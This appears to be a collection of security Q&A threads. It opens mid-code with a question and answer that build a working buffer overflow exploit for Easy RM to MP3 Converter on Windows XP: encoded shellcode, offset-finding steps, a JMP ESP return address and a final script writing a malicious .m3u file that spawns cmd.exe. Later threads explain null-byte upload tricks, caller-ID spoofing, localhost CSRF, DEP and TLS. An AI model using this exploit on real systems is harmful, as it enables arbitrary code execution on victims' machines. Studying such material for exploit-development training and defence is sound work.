shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

payload = junk + eip + preshell + shellcode

with open(filename, "wb") as file:
    file.write(payload)

Here is what Windbg shows after the shellcode crashes (note that the jmp esp worked perfectly fine and that the exception occurred inside the shellcode):

After looking at the debugger, it seems that the problem is with the fnstenv instruction, which appears toward the beginning of the shellcode. From what I've found in this Phrack article, fnstenv is used as a way of getting EIP popping it off the stack into a register:

  Another interesting mechanism being use to obtain the EIP is to make
  use of a few special FPU instructions. This was implemented by Aaron
  Adams in Vuln-Dev mailing list in the discussion to create pure ASCII
  shellcode. The code uses fnstenv/fstenv instructions to save the
  state of the FPU environment.

  fldz

  fnstenv [esp-12]

  pop ecx

  add cl, 10

  nop

  ECX will hold the address of the EIP. However, these instructions
  will generate non-standard ASCII characters.

It seems like this is necessary/useful in order to decode the encoded shellcode. However, the address that gets popped from the stack after the fnstenv call always turns out to be NULL (0x00000000), and then the shellcode subsequently crashes. I even tried this exploit/shellcode on another Windows XP VM that I had (though I didn't originally set it up myself) and noticed the same result happening.

My question is simply, why is this happening? What would cause the fnstenv instruction to fail, resulting in a NULL address instead of EIP's address? Is there some setting I need to change (perhaps something with Virtualbox's hardware settings for the VM?) that is preventing this from working correctly?

Let's reverse engineer what happened:

Access violation because you try to access 0x00000018
Because POP EAX loads register zero
It supposed to be FPULastInstructionOpcode according to this x86 instruction set reference

But, look at your ESP value it is starting point of your shellcode. Why? Because you cannot write before that address. On the other hand you use [esp-0Ch] for storing FPU environment.

I tried to run your version and get different error:

Also I tried Corelan version that didn't work either. As you can see things been more complicated in my version.

I can't debug your version of exploit, however I can show you step by step constructing exploit to this vulnerability. I'm using Easy RM to MP3 Converter 2.7.3.700 (setup 2.8 MiB) from this Exploit Database page  on my Windows XP Professional SP3 Turkish. First, i created 30000 characters long Mona.py pattern. Attach RM2MP3Converter.exe to Immunity Debugger and loaded our crafted sploit.m3u file.

Using Python script pattern.py we can find EIP offset now *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Lets look where ESP points in stack:

You can either use 0Hl1 or hex value:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072

Lets check our findings:

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Crash values confirms our pre-exploit:

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Now we need to find JMP ESP in an executable segment. Use this Mona.py command:

!mona find -type instr -s "JMP ESP" -x X

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Thanks to Mona.py we found lots of "jmp esp" in OS libraries. Pick first one at 0x77fab277 address.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

It hits our interrupt sequence where ESP points out. With little bit more trick we can land our shellcode with additional ADD AH, CL

This is our Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

After a long debugging session we get:

Python code:

from struct import pack

filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Different than Corelan and this Exploit-db version. You can find shellcode here.

We use double "F" to emulate a harmless instruction with remains of data in stack
Eight "B" is for remainder, it didn't seem like it is written in anywhere.
junk3 is written before shellcode you can use it jumping over data remains.

*Mona only finds first occurrence of sequence.


What is the most secure way of decrypting a GPG message within a non ad-hoc OS? Which method would you advocate to make sure the decrypted content of a GPG message is flushed after reading it?

PS: I am currently decrypting messages from a non-permanent live CD ran offline so that I am certain everything is flushed when leaving the OS. How can I do the same within the OS I am currently running.

How can I do the same within the OS I am currently running

You can't.

However, you can come pretty close.

For example, under linux, you can make sure you're using an encrypted swap partition with a random key, so that if your computer swaps memory pages out to disk, they can't be retrieved once you power off.

Then you can decrypt the message on /dev/shm, which is a ramdisk; e.g. files stored there only exist in RAM and get automatically wiped once you cut power to your computer, and if you do an rm * on /dev/shm, the files are immediately lost. Note they might persist in RAM, even if no longer visible on /dev/shm, though.

This isn't foolproof, but unless you're specifically targeted, it should ensure your decrypted messages don't end up on your hard drive.


How is PKCS#10 and x509 related? I'm unable to make sense of them using the RFCs. Can anyone help?

When I use this function, http://www.pyopenssl.org/en/stable/api/crypto.html#x509req-objects , am I creating a PKCS#10 format CSR?

PKCS#10 is a specification defining what and how attributes should be contained in a Certificate Signing Request in order for it to be compliant. It is used as the default specification for most certificate signing authorities. This specification dictates the use of ASN.1.

ASN.1, also known as Abstract Syntax Notation One, is a standard that defines rules and structures for data representation. In this case, it is used to specify how the attributes you put into a PKCS#10 request should be formatted.

OpenSSL X509Req objects are classes that you can define attributes against in order to build a Certificate Signing Request. You build and add attributes to the request object. By using code similar to the following, you can then dump the class into an ASN.1 format.

req = crypto.X509Req()
output = crypto.dump_certificate_request(crypto.FILETYPE_ASN1, req)

If you create such an object, include the attributes and data required by the PKCS#10 specification and then dump it into the ASN.1 format, you have created a PKCS#10 compliant certificate signing request.


Cookie that contains NULL byte character (0x00) on new WordPress.org site - any issues? I installed NinjaFirewall plugin on WP.org v4.7.2. It locked me out of my site.

They asked for the log from my hosting company's cPanel, which I got and they report:

  You have a cookie that contains the NULL byte character (0x00). That’s
  very odd and unusual.

  You can log in to WordPress using another browser (or delete your
  cookies first), then go to “NinjaFirewall > Firewall Policies >
  Various > Block ASCII character 0x00 (NULL byte)” and select “No”.
  Then, scroll down to the bottom of the page and click “Save Firewall
  Policies”.

This is all new ground for me. Does anyone know if there are any issues I should be aware of?

Does anyone know if there are any issues I should be aware of?

The main issue is that the scripting language (for example PHP) that is parsing the cookie may be implemented in a language (for example C) that treats the NULL byte character (0x00) as a special control character.

For example, in the C language a "string" of length N is implemented as an array of N+1 characters, where the (N+1)th character at the end of the array is 0x00, which is used to indicate the end of the string.

The general security principle being violated here is the unexpected mixing of instructions (the instruction-like control character 0x00) with data. Cookies are generally thought of as strings of data, but because the null byte has a special control property in C (it indicates the end of strings and can cause string parsing routines to return) it functions somewhat more like an instruction than data.

Here's a specific example of how the null byte could cause problems: It might be possible to upload a file called "backdoor.php\x00.png" that contains PHP backdoor code. Even if php files are blacklisted from being uploaded, this file might still be uploaded since the extension is ".png." If the PHP filename parsing (which is implemented in C) improperly returns at the null byte character the file might be saved with the name "backdoor.php" and could then be executed by accessing the file in the uploads folder. This type of exploit is called "Null Byte Injection."

I'm not aware of a specific exploit based on a null character in a cookie, but the idea is similar to above and would exploit the special properties of the null byte in the implementation language of the code parsing the cookie.


Researchers figured out how to transmit/exfiltrate data using heat I read article about it here and it says:

  Researchers at Ben-Gurion University have created a new piece of
  malware called BitWhisper. Infected machines can transmit data using
  heat they produce. Commands, for example, can be passed from one
  system to another by modulating its temperature. The target machine’s
  thermal sensors pick up on the fluctuations and execute a predefined
  action. Small bits of captured data (like passwords) can also be
  transmitted this way.

Can you please explain how this is possible in more simple and logical terms, and how can we protect yourself from this malware?

EDIT: please watch the youtube video on the website

This proof of concept is about communicating from a non-air gaped machine to an air-gaped (not on the network) machine. Both machines need to be infected with the malware. This would be like a stuxnet type of attack; it may be possible to get one time access to the air-gaped machine to install the malware, but you can't get continued access because you need to physically leave the air gap.

The way the communication works is by modulating heat on one machine and have the other machine pick up the change in ambient heat. It requires the two machines to be physically close. It may be possible to expand this to a greater range, but perhaps a more likely scenario is where you have networked controlled HVAC and temperature sensors all over the room which are also networked and which you can monitor. In this proof of concept, it posits that all of the servers are nearby, but some are airgaped; an organization may just not connect systems to a network, but not bother to put them in another room.This is more of a nation-state spying type thing then something a script kiddie or even criminal hacker would be up to.

The difference with other attacks where you remotely view the changes in power, etc is that the air-gaped computer is more likely to have temperature sensors to read input and also can control the fan, processors, etc to control heat. This means that the air-gaped machine does not require any additional hardware once compromised with malware to transmit messages back to the non-air-gaped machine. Also, because it takes a good amount of time to change temperatures and ensure its consistent, the communication is slower.

Again, this is a proof of concept. Check out the wired article, geeks.com is probably not the best place for deep technical reviews.

There are similar classes of "remote viewing" attacks with reading power levels, radar, etc.


Should TVRA be done physically by going to the datacenter? As a SaaS provider, we would like to be compliant to the requirements of our Singapore based prospective clients. And the Monetary Authority of Singapore mandates a TVRA (Threat and Vulnerability Risk Assessment) to be performed annually on data-centers hosting and handling the data of Singapore based Financial Institutions.

To conduct the TVRA, is it necessary to physically visit the
datacenter or can we send our colocation center a questionnaire about
the physical security controls employed at the DC and review their
answers and evidences? What is the general industry-standard practice?

As ever so often: it depends.

What does it depend on? Your level of trust and your level of risk appetite.
Do you trust the operator of the DC to answer a questionnaire honestly and what risks are you willing to take in that regard?
You can start by sending out the questionnaire, as you had already planned. Some business partners see questions like this as indecent, so handle this with care.

The operator's answers might lead to a breach of contract, so the questions have to be formulated well. Get in touch with your legal department and/or take look at the contract that you have with the operator.

There are several reactions that might lead you to build more trust or lose trust in your contractor. Make expectations clear internally for different scenarios and set goals, like you would in every other project. If all answers sound too good to be true, book a flight. If everything sounds terrible, don't book one - and think about terminating the contract.


How can Google Chrome update itself in C:\Program Files? Normally, when an application wants to write to C:\Program Files, a pop up is shown that asks me to confirm to elevate this application into admin mode so that it can write to C:\Program Files.

With Google Chrome this doesn't seem to be the case. I'm not running Chrome with admin privileges but still it seems to be able to automatically update itself and write to C:\Program Files without asking me for confirmation first.

How does this work? All other applications seem to need explicit confirmation before they are able to write to C:\Program Files but Google Chrome doesn't. It can just write to C:\Program Files even though I'm not running it with admin permissions.

The initial install requires per UAC prompt admin rights. It then uses this to install an update service. This one uses a local system account which has enough permissions.

Some other software uses btw the Windows scheduler. Funny enough it is quite easy to have such a high privileged background job, it's much more complicated to do that transparently as the user with admin rights.


IP reputation lists of malicious/suspicious IPs (paid or free) I am looking for (also paid) option to get a list of bad, malicious IPs. Are there some vendors selling those?

So far I found many IP lookup website and lists, but they relate mostly to SPAM.

I want to lookup async if our system was accessed (user logged in) from any of those malicious/suspicious IPs and review this account/possibly block it.

How can I tackle this?

Brightcloud makes a great product that gets update frequently: https://www.brightcloud.com/

There are a lot of open source lists, but I personally find that they tend to have a lot of stale data.


Is it possible to make a phone call appear to come from another phone, even to the network provider? Quick Question

Is it possible that I could call a mobile number, but have the call forwarded through another number active on a different phone that someone else has? I have had unlimited access to the other person's phone prior to this.

Is there any way of that happening without the person with the other phone realising the call is being forwarded through them, or the phone records for their phone showing that the call had been forwarded from me?

EDIT: Sorry, just to make it more clear, it's  not just a case of spoofing the other person's number, it must also look to the network provider like the call has originated from the other person's phone, not just the call recipient. So when the network provider looks at their records it will show the other person's phone has made the call while connected to mobile mast wherever they are. I would assume it would take some kind of invisible call forwarding (as suggested in comments, going to look into that) or malware loaded onto the phone.

I'm wondering about whether it is possible/practical, and if it is then how feasible the attack is and the skill level needed to carry it out.
The location is the UK and other person's phone is a relatively old (2009 or before) Nokia Pay-As-You-Go type phone if that makes a difference.

Back Story

I was given the following situation recently by a friend that works with people who claim they've been wrongly imprisoned. This happened in 2009.

  A guy gives me a pay-as-you-go mobile phone so that he can contact me
  when he needs to.  Unknown to me, the phone is cloned. He makes lots
  of phone calls on his own phone, but the numbers he calls (in another country)
  show up as being made by the mobile he gave me. The cell site analysis
  shows the calls were made via a mast that was close to my home, or a
  mast close to my workplace.

  Does that mean he would always have had to be fairly close to the mast
  near my home or workplace when making those calls?

  Or could he have some way of tampering with the phones so that he
  could be making calls while 50 miles from me, yet those calls show up
  as  being made on the mobile he gave me, AND cell site analysis shows
  the calls went via the cell sites near my home or workplace?

Now I'm fairly sure from research I've done so far that even cloning a modern SIM card is difficult. But say they did manage to clone it, even then I've seen it suggested having two phones on the network at once would trigger alarms for the network provider. And even then there's the problem that the phone calls are being detected by the network provider as coming from the cell mast near the 'innocent' guy's location.

For these reasons I'm pretty much discounting the SIM cloning, however call forwarding as described below I'm not so sure about.

  One other point is this. I call a number, but the call is forwarded
  to another number.  Is there any way of that happening without me
  realising the call is being forwarded, or the phone records showing
  that the call had been forwarded?

This is the part my question is about. It doesn't sound possible to me even with the ability to have pre-loaded some malware onto the other persons phone but I'm not an expert.

Yes, it is possible and almost trivial to make your phone call appear to come from a different number. Since many calls originate from within internal networks (e.g. PBX systems), the phone companies have a mechanism allowing the caller to indicate which phone number the call originates from. Traditionally there has been no restriction on which outgoing number you use; it can be literally anything. Many call spoofing services exist specifically to capitalize on this offered latitude. The originating phone number should NOT be considered a form of authentication.

Note that it is also posible, with a bit of social engineering, to take over someone else's phone number completely; forwarding their calls and text messages to your phone, for example. This is why Kevin Mitnick has been so vocal about his assertion that cell phone numbers should not be considered a valid token in two-factor authentication.


Design of system based on HTTPS, Client Certificates and custom CA I have the following system:

2 application servers. At the beginning is installed the first server and later is installed the second one.
A client access from a browser to both servers
Application servers communicate between them using Client Certificate over HTTPS

Requirements:

A browser should trust application server (e.g. a site should be shown by a browser without SSL warnings).
One customer deployment can not access to other customer deployment

I want to use the following design:

Before installation of servers a Custom self-signed CA is created. Custom CA will be used for signing of server certificates.
Note: if a customer want to use a CA signed by trusted root authority (e.g Verisign), he will required to sign it and provide it back to our system.
Custom CA Public Key is installed in the trust store of a browser.
During installation of a server a server key is generated (SubjectDN is IP of the server) and installed in the key store the server. Also, Custom CA Public Key is installed in the trust store of the server.

Questions:

Any improvements?
What is recommended valid time for created Custom CA and for server keys?
When can I store Custom CA in the customer environments?
I can not modify the system installation it a customer environment.

First let's note that each of your servers will nominally have two keys and corresponding certificates. One is for use as a server in the SSL sense (when the browser, or another server, connects to the machine), and the other is for use as a client (when the machine itself connects to another server). You can arrange for both keys (and certificate) to be the same, but this can add a few constraints. An asymmetric key pair can be used for key exchange or for digital signatures, but not all algorithms support both; also, the certificate itself can further restrain usage to only signature, or only key exchange, through its Key Usage extension. In SSL, when using one of the basic RSA-based cipher suites (e.g. the very common TLS_RSA_WITH_AES_128_CBC_SHA), the server key is used for key exchange (i.e. asymmetric encryption of a secret key randomly generated on the client side), but certificate-based client authentication necessarily uses a signature.

Therefore, if you want to have one private key per server, then you must arrange for either of the following:

The server key has type RSA and the certificate allows for both encryption and signatures.
The certificate allows for (at least) signatures, and you configure the servers to use only the "DHE" cipher suites (the key exchange part is then done with an ephemeral Diffie-Hellman key pair which the server generates on-the-fly, and the server key is used only for signatures).

The DHE cipher suites are, generally speaking, recommended because they offer Perfect Forward Secrecy: data exchanged over the wire cannot be decrypted afterwards, even if the attacker steals a copy of the server private key.

If you do not want browser warnings, then you should not put the server IP address in the subjectDN but the server DNS name. Browsers (and, more generally, all HTTPS clients), when they connect to a server, want to find in the server certificate the expected server name, i.e. the one which appears in the URL. They want to find it in a Subject Alt Name extension (with type dNSName) or, if such an extension is altogether lacking, in the Common Name of the subject DN. This lookup is for the name only, not for the IP address. This is described in section 3.1 of RFC 2818.

There is no conceptual problem in looking up IP addresses in certificates; it is just that existing browsers don't do that. So stick to names. Besides, names are handy when infrastructures migrate (the IP can change, but the names will remain the same, thus not requiring a new certificate issuance).

That being said, for your exact questions:

Certificate validity can be as long as you are comfortable with, with the following caveats:

Technology progresses over time, so what is thought as a robust key may turn out not to be that robust after a while. So you may want to limit key lifetime so that some operation will be needed, forcing you to reconsider your key size choices regularly. If you use 2048-bit RSA you ought to be good for the foreseeable future, i.e. for the next 20 years or so (further than that, there is no foreseeing, only speculation).
The year 2038 problem may imply some interoperability issues if you choose an end of validity date beyond January 18th, 2038.
You want a handy procedure to cover the case of key compromise (e.g. a purloined backup tape), and "waiting for the certificate to expire" is not very workable if the certificate lifetime is beyond, say, one week. See below.

The CA is crucial for security, so a prudent deployment would be to put it on an offline machine. No network at all means no possible remote hacking, and that's a good thing. However, as explained above, you need "something" to cope with compromise situations, which can be one of the two following things:

You issue only very short-lived certificates, e.g. every week a new certificate good only for one 10 days. Each server receives a new certificate every week. If a private key is stolen, the thief only has ten days to play with it, because afterwards you will not issue new certificates for that specific key.
You use certificate revocation lists: the CA regularly publishes (e.g. each week) a new signed CRL, which contains the serial numbers of the revoked certificates. Clients (browsers and other servers) will download that CRL to check that the server certificate is still good. This is mathematically equivalent to the scenario with the short-lived certificates.

Short-lived certificates have the advantage of keeping browsers out of the loop (only servers will need to be aware of it), but CRL are more likely to be supported out-of-the-box by SSL implementations. To support CRL, you need to put a CRL Distribution Point extension in the certificates.

Either way, your CA will have to push some data elements to remote servers on a regular basis, be they renewed certificates or CRL. This is at odds with the concept of an offline CA. Some solutions imply a physically one-way link (some people use 10baseT ethernet with only one pair of wires connected; I have also, once, deployed a system where CRL are encoded over an audio link, because the line out audio jack is electronically one-way).

I expect most of your customers to put the CA on the same machine than their first server, then forget about it, and be very sorry when their server gets hacked into.


Nessus Report Total 0? This may seem like a slightly esoteric question but, I am wondering if it possible to achieve a result summary in Nessus where the Total is 0 for a windows server? Things that have no risk factors like, "Host Fully Qualified Domain Name (FQDN) Resolution", "Additional DNS Hostnames", "OS Identification", etc...

Nessus runs a set of plugins that you define and you can choose to disable.  If you need to show a scan with zero findings, you should disable the checks that you don't care about and mitigate or resolve the findings you do care about.

The simplest way to do this would be to disable ALL of the checks and run Nessus.  Some people (myself included) would consider that cheating.  That's why it's important to consider the thoroughness of a test along with the result.


How does a website get pass my server firewall and attempt to hotlink to my server resources? I was stumped when I saw the following lines on my Apache server error log this morning:

  [authz_core:error] [client ::1:37317] AH01630: client denied by server
  configuration: /var/www/styles/style.css, referer:
  http://bd.adm.ijinshan.com/adm.html?adm=somehexdec&t=timestamp
  [authz_core:error] [client ::1:37317] AH01630: client denied by server
  configuration: /var/www/scripts/script.js, referer:
  http://bd.adm.ijinshan.com/adm.html?adm=somehexdec&t=timestamp

I might have accessed some forum which triggers the site to contact my web server. But my server has a firewall that is configured explicitly to allow access only from a few internal ip addresses. I suspect it could be the following line in my iptables config that allows them to access my server:

-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

Is it true that if I inadvertently contacted the server by accessing a hidden iframe in some forum that I am allowing the website to access my server? How did it guess the location of my script and stylesheet given that there could be thousands of path combinations? And what is the intention of trying to hotlink to them? Could this be malicious? The website seems like some antivirus company in China.

UPDATE:

Going into the server access log, I found the following line:

  127.0.0.1 GET /adm.html?adm=somehexdec&t=timestamp HTTP/1.1   404 http://snippet.pos.baidu.com/bfp/snippetcacher.php?qn=somehexdec

Ok, now I understand that my server issued a 404 custom error page (obviously because there is no adm.html) which contains the script and css file. That part of the mystery is solved. And also, my firewall rules seems to work correctly since the ip address 127.0.0.1 represents localhost.

Now the problem is identifying why accessing that page on baidu triggers a lookup on my localhost and whether this is a security issue.

If your access.log states that there is a connection to your Web server from localhost (127.0.0.1) then this means that some process running on the same server machine did that connection. If you are running a Web browser on the same machine, then that Web browser could be the culprit. Similarly, if your server is not the same machine as your desktop system, but you use that server as a proxy for your browser (SOCKS proxy, Web proxy, VPN...) then all your browsing activity will actually show up as connections from your server.

I suppose you are in one of the two situations described above. Now suppose that, with your Web browser, you browse a page (say, on a Web forum) which contains, in its HTML, this:

<img src="http://localhost/adm.html?adm=somehexdec&t=timestamp" />

then your browser will dutifully try to load the data at that URL, and, due to your own network configuration, the name "localhost" will be resolved from your server, and point to itself. Hence the log entries.

Now, what could be the point of such a link ? Well, it could plausibly be an attack attempt. Conceivably, there is a software system, somewhere, which technically runs as a local Web server, accepting connections from localhost only, with an "administrative" interface for connections to "/adm.html" file. If someone running such a system on his machine browses a Web page which contains the "localhost" link shown above, then his own browser will issue an administrative command to his software, command chosen by whomever put the Web page together.

Apparently you do not run such software (since your own server does not know of any "adm.html" and responds with a 404). The attack is not against you. However, this does highlight the limitations of firewall-based security in a Web context: Web pages that you browse can make your browser do connections to arbitrary other machines, including "localhost", without your consent, and since these connections come from your machine, they will likely go through your own firewall rules.

(In that case, this can be seen as an example of Cross-site request forgery, the target site being "localhost".)


Defeating code injection attacks in x86 In x86 systems, there are three requirements for a code injection attack to work:

write attack payload to memory
attack payload to be executable
divert control-flow to payload

How can we prevent 2) attack payload to be executable so as to defend against code injection attacks?

Making the injected payload "not executable" is what Data Execution Prevention is about. There are various techniques to achieve that, depending on what the underlying hardware can do. On most architectures, this will be done through the MMU: pages that are supposed to contain "data" (e.g. the stack) are marked as non-executable.

Old x86 CPU makes DEP a bit challenging because the original MMU from the 80386 does not distinguish between "read" and "execute" accesses; thus, it does not allow memory to be marked as unexecutable while still being readable. DEP can still be done to some extent with the help of segment registers, albeit with less flexibility (basically you can make the whole stack non-executable, but it is hard or impossible to repurpose memory chunks dynamically). Another method called PaX allows for separating "read" and "execute" access rights on a per-page basis, but this requires some juggling with the TLB, and has a runtime overhead (TLB misses trigger CPU exceptions). See this answer for details.

Newer x86, and in particular all x86 CPU that can run in 64-bit mode, have a MMU that natively knows how to distinguish between "read" and "execute" (this is called the NX bit) making these segment or PaX games obsolete.

The so-called "W^X policy" (read it as "Writeable exclusive-or eXecutable") states that the OS should never let a piece of memory to be both writeable and executable at the same time, so if the payload could be injected (i.e. written to a chunk of RAM) then it cannot be executed until some explicit access rights change is performed on the page (and, presumably, the target code has no reason to do such a change).

DEP is not a panacea; attackers have now learned to use existing pieces of code, already in RAM and marked executable, to serve as payload. Lookup Return-Oriented Programming for details.

Not allowing point 3 would be a more comprehensive method to prevent successful attacks; unfortunately, some widespread traditional programming languages (C and C++, namely) are poor at that task. Control-flow diversion occurs as a consequence of an uncontrolled memory access (buffer overflow, use-after-free, double-free...) that the language allowed to happen because it does not check for such occurrences. The developer is supposed to add all the necessary checks. It so happens that even the best developers with the most thorough development practices still occasionally fail to do so.


What are the pitfalls of bypassing a proxy to access cloud services such as G Suite or Office 365? According to a TechNet article published by Microsoft, one of its recommendations is to bypass proxies to access Office 365.The basic premise is focused on performance as opposed to security.

Assuming that a proxy is bypassed to access G Suite or Office 365, what are the security pitfalls?

What are the upstream and downstream implications?

For example, does it reduce the ability to determine the internal IP address accessing the site since the address is NAT'ed?

The biggest security pitfall is visibility into a major egress window for data. Today we know that over half of all cyber attacks have to do with malicious files and emails, often being sent together in a phishing campaign. Proxies are a wonderful way to tackle parts of this problem.

By sending networked traffic through a proxy we can spot malware coming in and protected data exiting our network. In combination with DLP systems and malware/behavioral analytics network administrators can prevent many unwanted connections from occurring. Without this layer, any encrypted communication becomes unintelligible to the security team. This is not ideal.

Bringing this to Office 365 or GSuite. Both cloud systems are used to send and receive data in a variety of formats from files to emails. As a business, I would not want any of my IP, PII, PHI or other data being extracted through these services except under explicit permission. Likewise, I would not want one of these services to flow into my network as a covert attack channel if we remove the capability to read files coming from the cloud to the data center or end point.

Bypassing a proxy, without other sufficient data controls such as host based DLP or EDR could lead to a major hole in a corporate security net. All it takes is a docx with a malicious macro to start stealing data from your network. Even worse, if the attacker’s determines you can’t read traffic in and out to a cloud system, they will be encouraged knowing you may not detect the data leak at all.

This is not to say proxies are always required. However, they are a significant tool in the defense against data misuse or malware infiltration. Bypassing proxies without sufficient defense against data loss through a cloud service or the inability to track downloaded malware through those services may be a night mare.

In security, visibility can be everything.


Tracking information on HTTPS connection My organization uses cyberoam firewall. They are monitoring all activities including my search text in Google, Wikipedia etc. So recently i changed to HTTPS versions and now using HTTPS connections of Google and Wikipedia, that is https://www.google.co.in and https://en.wikipedia.org. So the query strings and the data is not traceable.

But if search my result contains images, especially when searching for something the page contains images from other pages and the same thing with image search also. The image is hyperlink to their corresponding page. Is that URL is traceable if i didn't clicked the image? because that image will be from other HTTP connections. Is that tracable?

Anything you do through http is obviously traceable. In addition, if your organisation uses a proxy/MITM  for looking at connections (ie you connect to the proxy over https and it connects to the site over https, but the data is in the clear on the proxy) then they can obviously see anything there as well.

In your specific case, your browser may pre-load links (for speed/performance) - this is most likely to be links to other pages, but could include images. If these are through http connections, then obviously they will show up in the clear.

Simple answer - do not do anything through your work connection that you would be concerned at your employer discovering!


Choosing an authenticated encryption cipher mode without associated data In the application I'm writing there is need for a huge amount of private data transfer on the order of eighty gigabytes, but there is no public data.  I'm looking especially to gain bandwidth/performance benefit by not using an AE scheme that expects associated data.

This is what I'm looking for:

As little bandwidth overhead as possible (seriously; this will make a world of difference)
No padding
No associated data
Low complexity (least important)

Out of all the options, which mode could I best put to use here?  With these criteria, am I necessarily I looking for one-pass or two-pass?

EDIT:  For the perfect answer to this type of question, see this answer.

I came across the beginning and the end of this question:

Basic comparison of Modes for Authenticated-Encryption
(IAPM, XCBC, OCB, CCM, EAX, CWC, GCM, PCFB, CS)

This document was perfect for this question and many others, and I'd mark it as the answer if that didn't seem megalomaniacal.  But it's exactly the type of information I was asking for and I hope it helps.


Encrypting All Network Traffic For a corporate network, is there a way to possibly encrypt all network traffic on the local network?

I would like to ensure that there is nothing left for chance to be packet sniffed. Not even e-mails or machine to machine communications with chat devices.

Any decent VPN will ensure encryption, but of course it would have to be configured on each and every machine. IPsec is a VPN technology which has the advantage of being built-in at the IP level and already implemented in your operating system (if it is not, then learn that it is high time that you upgrade these Windows 98 machines).

Note, though, the following important points:

Any attacker would can subvert one of the machines will be able to snoop on every packet that the machine receives and is able to decrypt.
Even if you configure IPsec so that every two machines negotiate an encryption key which is shared between exactly these two machines (and none other), so that a subverted machine may see only these packets which are destined to it, it may happen that this subverted machine, by sending maliciously crafted packets, could redirect traffic to it (e.g. by poisoning the DNS).

That's a limitation of all these encryption setups: they are great at establishing a strong isolation between the local network machines, and the outside world. However, they usually do nothing against local attackers, i.e. attackers who could gain control of one "allowed" machine (as opposed to attackers who just plug into a free switch port or join a WiFi router).

Machine subversion is, unfortunately, a rather common occurrence. It usually goes through email viruses, malware from the Web, even malicious USB keys... (if a user finds a USB key in his mailbox, what will he do ? Well, 95% of the users will plug it in their machine, to see what is on it).

Another important point is that if you succeed at preventing packet sniffing, then, well, packet sniffing is no longer possible. In particular packet sniffing by sysadmin tools that look for malware and virus. Encryption is a multi-bladed weapon.


How many keys are used in this specific TLS 1.2 connection? That shows the mechanism of the connection.

How many keys are being used in this connection? What are they? Who knows them? What is the purpose of each key?

There are at least three keys:

X.509 public key: known to all parties who can connect and to the server: used to identify the server and as part of initial key exchange (first half of assymmetric key pair).
X.509 private key: known only to the server: used to prove that the server is entitled to represent itself as the subject of the public key (second half of assymmetric key pair)
session key: known to both the server and the single client of the connection: a symmetric key negotiated via key exchange and replaced based on cipher suite configuration. Used to encrypt data sent over the TLS connection

The session key can be replaced seamlessly during the session in certain configurations.  This can be used to provide PFS (perfect forward secrecy) in cipher suites that support it.

There is no inherent bound on the number of session keys that can be used for a single connection.

In some configurations one or more X.509 CA intermediate public keys (chain) are also in the signing chain of the server's public key.  These are known to all parties who connect to any server signed by the same chain and to the server.  The server must provide these keys during TLS handshake. In all configurations of a CA validated TLS connection the chain will be signed at the root by a root CA which your client software is configured to trust inherently.

If you are including CA certs there are at least four keys and possibly more if intermediate CA certs are used.


SSRF Attack Exploitation Scenario In this video (0:37) the guy starts a simple HTTP server using Python and then uses a link to fetch a file from the server he just started. But how does this pose a potential security vulnerability?

A file gets uploaded to a place and that file is fetched from some address in the internet (in this case the HTTP python server). How come this creates a SSRF security vulnerability and how can this vulnerability be exploited?

In a server-side request forgery (SSRF) attack, the attacker forces a vulnerable server to issue malicious requests on their behalf.

